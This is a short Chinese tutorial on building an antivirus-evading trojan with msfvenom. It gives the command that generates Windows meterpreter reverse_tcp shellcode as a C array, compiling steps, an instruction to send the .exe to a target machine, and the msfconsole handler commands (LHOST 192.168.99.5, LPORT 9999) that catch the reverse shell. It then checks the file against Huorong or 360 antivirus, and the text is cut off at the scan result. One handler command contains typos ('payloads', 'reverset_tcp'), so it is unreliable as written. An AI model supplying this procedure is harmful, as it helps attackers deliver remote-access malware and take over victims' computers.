msfvenom——木马免杀

测试工具

msfvenom、vscode，火绒安全

C语言执行

生成buf{}数组

命令：

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

得到buf数组，如图：

 

C语言编译

将其复制到vscode中进行编译

右击，选中 run code  执行得到xxx.exe木马文件

 

将其发送到客户机执行

 

监听

监听设置

打开kali，输入

 msfconsole

 

 出现  msf 6>  后依次输入

use exploit/multi/handler

set payloads windows/meterpreter/reverset_tcp

set lhost 192.168.99.5          //监听地址

set lport 9999                  //监听端口

run                             //开启监听

 

开启监听

回到客户机，模拟客户  双击打开木马文件

 

 

 即可获得对方  shell

 

木马风险测试

打开火绒安全卫士或者360卫士扫描该木马文件得到结果：
